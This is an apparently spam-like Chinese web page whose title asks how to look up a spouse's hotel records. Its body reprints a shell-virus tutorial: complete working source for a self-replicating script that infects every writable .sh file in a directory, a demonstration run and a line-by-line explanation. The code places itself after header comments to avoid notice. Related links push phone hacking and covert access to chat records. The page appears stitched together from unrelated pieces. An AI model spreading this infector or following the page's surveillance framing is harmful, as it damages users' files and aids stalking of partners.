怎么样查询我老公和别人的酒店开房记录 如何查

访客4年前黑客工具1094

说起病毒总有点神秘的味道,想起以前用汇编编写之一个dos病毒时是那么的痛苦 从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感 染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下 这么一个小脚本,功能就是感染其他shell程序。 这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以 算教学意义大于实际意义吧。 SHELL病毒简介 1. 前言 说起病毒总有点神秘的味道,想起以前用汇编编写之一个dos病毒时是那么的痛苦 从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感 染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下 这么一个小脚本,功能就是感染其他shell程序。 这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以 算教学意义大于实际意义吧。 2. 程序代码 #!/bin/sh #文件名: virus_demo.sh #用途 : shell病毒演示。 #说明 : 病毒将感染当前目录下的所有.sh结尾的文件,但不会重复感染。 #编写 : watercloud@xfocus.org #日期 : 2003-5-13 #B:<+!a%C&t:> vFile=$_ ; vTmp=/tmp/.vTmp.$$ for f in ./*.sh; do if [ ! -w $f -a ! -r $vFile ]; then continue; fi if grep '<+!a%C&t:>' $f ; then continue; fi if sed -n '1p' $f | grep 'csh'; then continue; fi cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp` sed -n "1,${vNo}p" $vTmp >$f (sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f vNo=`expr $vNo + 1` sed -n "${vNo},\$p" $vTmp >>$f rm -f $vTmp done >/dev/null 2>&1 unset vTmp ;unset vFile ;unset vNo echo "Hi, here is a demo shell virus in your script !" #E:<+!a%C&t:> #EOF 看shell是多么得强大,这么短短得程序就能感染其他程序文件 3. 演示 测试一下: 先在当前目录放两个文件,一个病毒文件,一个用来作被感染测试用。 [cloud@ /export/home/cloud/vir]> ls -l drwxr-xr-x 2 cloud staff 512 6?? 4 17:43 ./ drwxr-xr-x 10 cloud staff 1024 6?? 4 17:41 ../ -rwxr--r-- 1 cloud staff 89 6?? 4 17:43 test.sh -rwxr--r-- 1 cloud staff 773 6?? 4 17:42 virus_demo.sh 来看看我们这个"肉鸡"脚本,很简单: [cloud@ /export/home/cloud/vir]> cat test.sh #!/bin/sh # Just a demo for virus test # Author : foo # Date : 3000-1-1 ls -l #EOF 好了开始感染他。 [cloud@ /export/home/cloud/vir]> ./virus_demo.sh Hi, here is a demo shell virus in your script ! 来看看感染后的结果: [cloud@ /export/home/cloud/vir]> cat test.sh #!/bin/sh # Just a demo for virus test # Author : foo # Date : 3000-1-1 #B:<+!a%C&t:> vFile=$_ ; vTmp=/tmp/.vTmp.$$ for f in ./*.sh; do if [ ! -w $f -a ! -r $vFile ]; then continue; fi if grep '<+!a%C&t:>' $f ; then continue; fi if sed -n '1p' $f | grep 'csh'; then continue; fi cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp` sed -n "1,${vNo}p" $vTmp >$f (sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f vNo=`expr $vNo + 1` sed -n "${vNo},\$p" $vTmp >>$f rm -f $vTmp done >/dev/null 2>&1 unset vTmp ;unset vFile ;unset vNo echo "Hi, here is a demo shell virus in your script !" #E:<+!a%C&t:> ls -l #EOF 看,病毒体: #B:<+!a%C&t:> . . . . #E:<+!a%C&t:> 被拷贝过来了,这样病毒就被传播了。值得注意的是病毒体插入的位置是在源test.sh的有效程序行的开始处! 这主要考虑到一般shell程序大家都喜欢在程序开始处作注释说明, 你好歹不能把别人的注释信息给放到后面去,那也太明显了吧。 来执行看看我们新的病毒体看看: [cloud@ /export/home/cloud/vir]> ./test.sh Hi, here is a demo shell virus in your script ! <-- 看,病毒体内部的打印信息。 -rwxr-xr-x 1 cloud staff 724 6?? 4 17:44 test.sh -rwxr-xr-x 1 cloud staff 773 6?? 4 17:42 virus_demo.sh 4. 简单讲解 我们来一步步分析一下这个病毒: #B:<+!a%C&t:> 病毒体开始标记,用于程序复制自己定位用。 vFile=$_ ; vTmp=/tmp/.vTmp.$$ 定义两个变量,一个临时文件,一个记录当前程序名称$_,这也就要求我们 必须把这行作为程序有效行的之一行,如果放后头我们就无法得到当前程序 名称,后面就找不到从哪里去找病毒体来拷贝了。 for f in ./*.sh; do 开始循环,找到当前目录下的所有.sh结尾的程序。 if [ ! -w $f -a ! -r $vFile ]; then continue; fi 目标是否有写权限,病毒源文件是否有读权限。 if grep '<+!a%C&t:>' $f ; then continue; fi 目标是否已经中毒很深无药可救了,如果是这样还给他再来一次也太不仁义了吧? if sed -n '1p' $f | grep 'csh'; then continue; fi 如果目标shell是以csh的那语法上差异太大了,放弃吧。 cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi 好了准备感染,先把目标拷贝一个备份,拷贝失败了怎么办?当然只好放弃了。 vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp` 这是干嘛?好像挺复杂,不过学shell病毒不了解awk和正规表达式好像有点说不 过去吧,这个就是找到程序开始的注释和空白行有多少,好方便我们确定病毒体 插入点。 sed -n "1,${vNo}p" $vTmp >$f 一个sed命令把目标文件的开始注释部分从备份文件中copy回来。 (sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f 再来一个sed完成搬运病毒体的工作。 vNo=`expr $vNo + 1` sed -n "${vNo},\$p" $vTmp >>$f 最后一个sed把目标文件的其他部分搬回来,sed真强大呀!! rm -f $vTmp 清理一下临时文件。 done >/dev/null 2>&1 循环结束。 unset vTmp ;unset vFile ;unset vNo 清理一下犯罪现场。 echo "Hi, here is a demo shell virus in your script !" 都感染了好歹也要显示点东西以告诉别人这是个被病毒感染过的程序吧。 #E:<+!a%C&t:> 病毒体结束标记,用于程序复制自己定位用。 5. 后记 从中我们可以看到脚本病毒非常简单

相关文章

狗带是什么意思(网络用语解析狗带)

狗带是什么意思(网络用语解析狗带)

“狗带”是“go die”的谐音,源自中国艺人黄子韬在一次演唱会上表演的英文Rap。黄子韬黑点里面最出名的就是“狗带”这个词儿了。狗带就是英文“go die”的谐音。该词源于他的一段说唱Rap。当时他...

网络推广时关键词的重要性

注意选择品牌关键词的重要性,让你的网站在网络世界发展得更好。 在当今竞争日益激烈的环境下,随着网络的飞速发展,品牌显得尤为重要,而建设一个品牌网站可以更好的推广你的品牌。每个网站都有自己的品牌关键词...

郎氏大缸烧烤是什么公司旗下的?加盟要求简单吗?

郎氏大缸烧烤是什么公司旗下的?加盟要求简单吗?

你是否对郎氏大缸烧烤加盟项目感乐趣呢?假如你想要加盟创业的话,那么你可以和我一起往下看看,一起来相识一下郎氏大缸烧烤是什么公司旗下的?加盟要求简朴吗?郎氏大缸烧烤加盟品牌创立多年,品牌形象已经深入人心...

美众议院通过临时预1955年上将算案以避免政府“关门”

  中新社华盛顿12月9日电 (记者 沙晗汀)美国国会众议院当地时间9日晚表决通过一项临时预算案,以避免政府“关门”。   在当天的表决中,343票赞成、67票反对。该临时预算案将保证政府在当前资金...

黑客 通过qq号 找手机软件,网络黑客是指什么动物,黑客如何攻击一个网站教程

新加坡 2019加密钱银垃圾邮件、网络进犯等事情层出不穷,下面分月列出相关事情。 在隐私方针授权前,APP后台现已搜集了手机号,设备信息等。 2. JTAG拜访端口(JTAG-AP):该AP答应将JT...

微信聊天记录在哪个部门能查到

现在微信这一款APP可以说是十分流行而且非常深得大多数人信任的一款网聊软件,就特点来看它是非常有特色的多功能的应用app,就是因为这一款APP有这样的特点,所以这款APP的密码显得尤其重要,那如果微信...